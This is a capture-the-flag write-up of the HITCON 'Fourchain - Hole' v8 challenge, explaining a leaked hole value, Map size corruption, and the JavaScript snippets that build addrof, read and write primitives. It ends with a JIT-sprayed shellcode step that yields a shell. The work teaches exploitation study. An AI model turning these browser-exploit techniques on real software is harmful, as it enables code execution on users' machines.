During the weekends, I spent my time working on the HITCON CTF challenge called “Fourchain - Hole”. This is my first time doing a v8 browser pwn challenge, so I would like to apologize in advance if there is any mistake in my explanations and feel free to correct me if I’m wrong.
Fourchain - Hole
1
2
3
4
5
6
7
There's a hole in the program ?
Well I'm sure it's not that of a big deal, after all it's just a small hole that won't do any damage right ?
... Right 😨 ?
Author: bruce30262
Initial Analysis
This is a v8 browser challenge. We were given a zip consisting:
The d8 binary. This is a v8 developer shell that can execute javascript code.
add_hole.patch. This is the patch for the particular challenge.
README.txt. This contains information about the args that the author specified during building the d8 binary, the commit hash that we should use to build it (which is 63cb7fb817e60e5633fb622baf18c59da7a0a682), and a hint that we should prepare our exploit in Debian Linux 11.5.
Prerequisite
I highly recommend you read this great article to gain some fundamentals on how v8 works. But keep in mind that the article is already outdated because v8 has changed some of their objects’ internal representation after the publication of that article.
Environment Setup
To start the challenge, we should prepare our environment first. Below is the summary of what I did to setup the environment (I followed the environment setup by Faraz’s article):
1
2
3
4
5
6
7
8
9
10
11
12
# Install depot_tools and put it in the PATHgitclonehttps://chromium.googlesource.com/chromium/tools/depot_tools.gitecho"export PATH=<your_depot_tools_path>:$PATH">>~/.zshrc# Prepare the needed files to buildfetchv8cdv8./build/install-build-deps.shgitcheckout<commit_hash>gclientsyncgitapplyadd_hole.patch./tools/dev/v8gen.pyx64.release
After executing the above script, there will be a file called args.gn inside the out.gn/x64.release folder. Add these lines to the file before building it to make our debugging life easier
1
2
symbol_level = 2
v8_enable_object_print = true
And then we will build it with the below command
1
2
# Build it (It took me an hour to build it, so be patient)
ninja -C ./out.gn/x64.release
Additional Step: My pwndbg doesn’t recognize the job command, which is very useful to debug the v8 shell later. After spending some quite time, turn out the solution is I need to add this LOC to my .gdbinit file: source <path_to_your_v8_folder>/tools/gdbinit
After we successfully build the d8 binary, then we are ready to start the challenge.
After reading the patch, some interesting information:
It introduces a new function called hole in an array. If we read the BUILTIN(ArrayHole) definition, the hole function:
Doesn’t need any args
Will return a value from the_hole_value()
It disables a CSA_CHECK, which job is to make sure that the assigned key isn’t hole, and also it has a link to crbug.com/1263462 which contains the exploitation related to the hole value. We will visit this site soon to gain some information on what is hole value.
Searching for the hole value
I don’t have any idea what is hole and why it is dangerous. So, I decided to read through the article that was mentioned in the patch first.
After reading through the crbug article, turns out hole is a constant defined in the v8 source code. Due to special handling of the hole value in the javascript Map datatype, if we got a leak of the hole value and set it as one of the Map object keys, we can corrupt the Map length to -1, because somehow, we can call Map.delete(hole) twice, which leads to decrement the Map size by two for one key only. Below is the simple POC stated in the article:
1
2
3
4
5
6
7
8
9
10
varmap=newMap();map.set(1,1);map.set(hole,1);// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);map.delete(hole);map.delete(1);// Size is now -1
//print(map.size);
Now that we know the bug introduced in the patch, we can move to the next step, which is trying to find a way to exploit this bug.
Exploitation
Now, our first plan would be to recreate the simple POC created in the article locally and try to examine the memory layout after the corruption. But before that, we should gain some knowledge first on how Map is represented.
Understanding how Map works
First, let’s prepare a js file called poc.js, which contains:
1
2
3
4
varc=[];m=newMap();m.set(1,1);m.set(c.hole(),1);
Let’s start the d8 via gdb. Don’t forget to add --allow-natives-syntax so that we can use commands like %DebugPrint inside the d8, and --shell so that after executing our script, the interpreter will be still running, and we can continue to debug it.
1
2
3
4
5
╰─❯ gdb d8
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
...
pwndbg> run --allow-natives-syntax --shell ./poc.js
Let’s try to examine the memory layout. First, try to inspect the m object via %DebugPrint:
We can shift our focus towards the table properties which is an OrderedHashMap (I recommend you to read this article to gain a better understanding of how the OrderedHashMap works in v8). table is the one that stores the Map elements, current capacity, and buckets.
Let’s try to examine the table memory (Remember that we need to subtract the object address returned by the %DebugPrint by 1 in GDB).
Integer is represented as 31-bit in v8, which is why 0x1 is represented as 0x2. Another example, -1 is represented as 0xfffffffe in the raw memory data.
Info
v8 has pointer compression method (Read this article for a better understanding). tl;dr; v8 only store lower 32-bit of a pointer in the memory, and storing the base upper 32-bit in a specific register. And every time v8 want to use it, it will do calculation like ptr = base_upper + stored_lower. This is why when we set hole as the key, the stored value is only the lower 32-bit of the hole address, which is 0x2459.
Note
job is failed to print the map elements properly because of the second element’s key is hole. In normal condition, the job command will print all the map elements correctly.
Reading through the previous article that I recommend you to read about the detailed implementation of OrderedHashMap in JS, some important key information about map:
Capacity is required to be a power of 2
Number of buckets = Capacity / 2
The corrupted map’s impact
Now, it’s time for us to try to re-create the simple POC that the crbug article gave. I recommend you to read this article because it helps me a lot to exploit the corrupted map later. Let’s change our poc.js file contents to like below:
The POC is working, now we have a map where its size = -1. What is the impact? Let’s just try to check the impact by trying to set a new pair of (key, value) to the corrupted map, hoping that we can somehow trigger Out-of-Bounds write.
Notice that table+0x10 value, which is the map’s capacity got overwritten with our set key (0x10 is the 0x8 integer representation in JS). Let’s verify this with the job command.
Voila, we have successfully overwritten the map’s capacity, and because of that, the buckets got extended, and the elements’ location will be shifted as well.
That means, by corrupting the map size to -1, due to the corrupted capacity value after the first map.set call (after the size is -1), when the map.set method got called for the second time, it will store the map entry (key, value, next_ptr) in the outside of the map (OOB write to the objects below the map object).
Let’s try to prove it by modifying our poc.js file to:
The impact is map’s capacity is overwritten to 32, which means the buckets got extended from 2 to 16. The elements pointer is shifted, by (16-2)*0x4 = 0x38 due to the extension of the buckets. So previously, the first element of the map’s key was stored in table+0x1c, now it will be stored in table+0x54. The first element’s value was stored in table+0x20 previously, now after the corruption, it will be stored in table+0x58.
Remember that table+0x54 is the oob_arr elements stored pointer, and table+0x58 is the oob_arr length. So, after the corruption, if we call map.set for the third time, it will overwrite the oob_arr elements pointer and length. And with further techniques, we will be able to use the corrupted oob_arr as our read-and-write primitives.
Let’s validate this by trying to do the third call of map.set.
As you can see, the oob_arr length is now 65535, and the elements are pointing to itself (0x00287699 is the lower 32-bit of oob_arr itself). For the last validation check, let’s try to access some of the oob_arr elements
That’s the correct behavior. Because we overwrote the oob_arr elements pointer to point to itself, the oob_arr[0] will return the value of elements_ptr+0x8, which is now equivalent to oob_arr+0x8.
Now that we can trigger OOB read-and-write, let’s move to the next step
Preparing primitives
Now that we have an array that can do OOB read and write, to control the RIP, we need to be able to perform:
addrof: Get the address of an object.
read : Read the value of the given address.
write : Write a value to the given address.
Creating helpers
To make our life easier, we need to define some helpers to easily convert from floating point to hex and vice-versa (Notice that everytime we access oob_arr elements, the returned value is in form of floating-point). Helpers are taken from Faraz’s blog.
Let’s start by creating the easiest method, which is addrof. The trick is simple (inspired from this article):
Create a new variable called victim, which is an array of empty objects.
Assign the targeted object to one of the elements of the victim’s array.
After this, now the assigned victim’s element will store a pointer to the address of the targeted object (lower 32-bit only).
Using OOB read from the oob_arr, read the victim’s elements’ stored value (which is the targeted object address).
Modify the poc.js to:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...// Helpers is put at the top of these LOCs
varc=[];m=newMap();m.set(1,1);m.set(c.hole(),1);m.delete(c.hole());m.delete(c.hole());m.delete(1);oob_arr=newArray(1.1,2.2);victim=[{},{},{},{}];functionaddrof(in_obj){mask=(1n<<32n)-1nvictim[0]=in_obj;returnftoi(oob_arr[12])&mask;}
Notes:
Remember that v8 only store the lower 32-bit of the object address, while oob_arr value is a 64-bit floating point, so the addrof method will need to be masked so that it will return only the lower 32-bits.
Sometimes, the correct offset for the oob_arr is changing during development. You need to examine it in the gdb properly so that oob_arr[chosen_offset] will return the targeted object address stored inside the victim[0]
Creating Read
After having addrof method, we need to be able to read the given address value. I decided to create a read method where:
It can only read addresses relative to the stored js_base, so it can’t read the value outside the js heap.
Send only the lower 32-bit of your targeted address (must be inside the js heap).
It will return a 64-bit floating point value of the resolved address’s value.
The trick that I used:
Create an array called read_gadget which consists of floating-point values.
With OOB write from the oob_arr, overwrite the read_gadget elements pointer so that it points to target_addr-0x8. Why -0x8, because the first element of the array is stored in elements+0x8, so by setting the elements to point to target_addr-0x8, accessing read_gadget[0] will point to the target_addr value.
Return it
Modify the poc.js to:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...// Helpers is put at the top of these LOCs
varc=[];m=newMap();m.set(1,1);m.set(c.hole(),1);m.delete(c.hole());m.delete(c.hole());m.delete(1);oob_arr=newArray(1.1,2.2);read_gadget=[1.1,2.2,3.3];functionaddrof(in_obj){mask=(1n<<32n)-1nvictim[0]=in_obj;returnftoi(oob_arr[12])&mask;}functionweak_read(addr){oob_arr[37]=itof(0x600000000n+addr-0x8n);returnftoi(read_gadget[0]);}
Notes:
The correct offset of oob_arr which points to the properties of read_gadgetelements might be changed during the development of our exploit. Always double-check it in gdb
Because oob_arr is overwriting the whole 64-bit of the given address, we need to overwrite the read_gadget length as well, which is why I add the targeted address with 0x600000000 as the 32 upper-bit value.
Creating Write
Now that we have read, it’s time to create the write. How to do it? Very simple. Same as weak_read method, but instead of returning the read_gadget[0] value, we assign the read_gadget[0] value with our desired value. Notes that the assignment’s value will overwrite the whole 64-bit of the given address.
...// Helpers is put at the top of these LOCs
varc=[];m=newMap();m.set(1,1);m.set(c.hole(),1);m.delete(c.hole());m.delete(c.hole());m.delete(1);oob_arr=newArray(1.1,2.2);read_gadget=[1.1,2.2,3.3];functionaddrof(in_obj){mask=(1n<<32n)-1nvictim[0]=in_obj;returnftoi(oob_arr[12])&mask;}functionweak_read(addr){oob_arr[37]=itof(0x600000000n+addr-0x8n);returnftoi(read_gadget[0]);}functionweak_write(addr,value){oob_arr[37]=itof(0x600000000n+addr-0x8n);read_gadget[0]=itof(value);}
Finding a way to control the RIP
Now that we have all the primitives that we need, we will move to our last step, which is controlling the RIP. After reading some articles, I find this article very helpful for me.
Reading through the article, we actually can smuggle shellcode via JIT Spraying attack. To smuggle it, what we can do is translate our shellcode to a floating-point number, so that our floating-point number hex is stored as it is in the Jitted function area.
For example, consider this code (taken from the article that I mentioned above).
The floating-point defined in the javascript is actually the smuggled shellcode which will do sys_execve('/bin/sh'). Because the function is called so many times, v8 will JIT the code.
Let’s try to examine what happen when the method foo got jitted by v8 with the help of %DebugPrint and job after executing the above code.
Inside code property, we have two interesting properties:
code: Points to the jitted code area. (code+0x8)
code_entry_point: Points to the starting of the jitted code instructions. (code + 0xc)
As you can see from the examination via job, the foo->code->code properties is filled with the address of the jitted code area. Also notice that in the generated instructions, we successfully smuggled our floating point in there.
Notice that 0xceb580068732f68 is actually the hex representation of our first floating point in foo method (1.95538254221075331056310651818E-246). And it is actually a shellcode to perform push 'sh\x00' to stack.
If you notice, our shellcode instruction max length is 6 because the last two bytes will be used to jump to the next smuggled shellcode (the next floating point value, which is stored in the next mov instructions).
Remember that we have read and write gadgets. Take a look in the foo->code properties again. code_entry_point will be used by v8 during we call foo, where v8 will jump to the stored address inside code_entry_point. If we’re able to overwrite this value, basically we have successfully controlled the v8 RIP.
Final Step
With our write gadget, let’s overwrite this code_entry_point by shifting its stored value to point to our first smuggled shellcode so that when we call foo, it will jump and execute our crafted shellcode. Notes that it is better to put the targeted JIT code at the top of our file so that it won’t mess up our created read-and-write gadgets.
What I do in the last step after creating these primitives are:
Get the foo->code stored pointer address by:
Do addrof of foo.
weak_read the address of foo->code which is equivalent to foo+0x18 (Offset found by examination in gdb).
Let’s call the fetched value as f_code
weak_read the value of f_code->code_entry_point which is equivalent to f_code+0xc.
Let’s call the fetched value as f_code_code_entry_point
weak_write the property f_code->code_entry_point which is equivalent to f_code+0xc by f_code_code_entry_point+shift_offset, where the shift_offset is the distance between the starting JIT code instructions and your smuggled shellcode.
Notes: The offset of the smuggled shellcode in the jitted area is different between ubuntu and debian. So, if you want to run this POC in ubuntu, you might need to adjust the offset to be added in our leaked f_code_code_entry_point value during the last call of weak_write.
And let’s try to execute this. We will get a shell!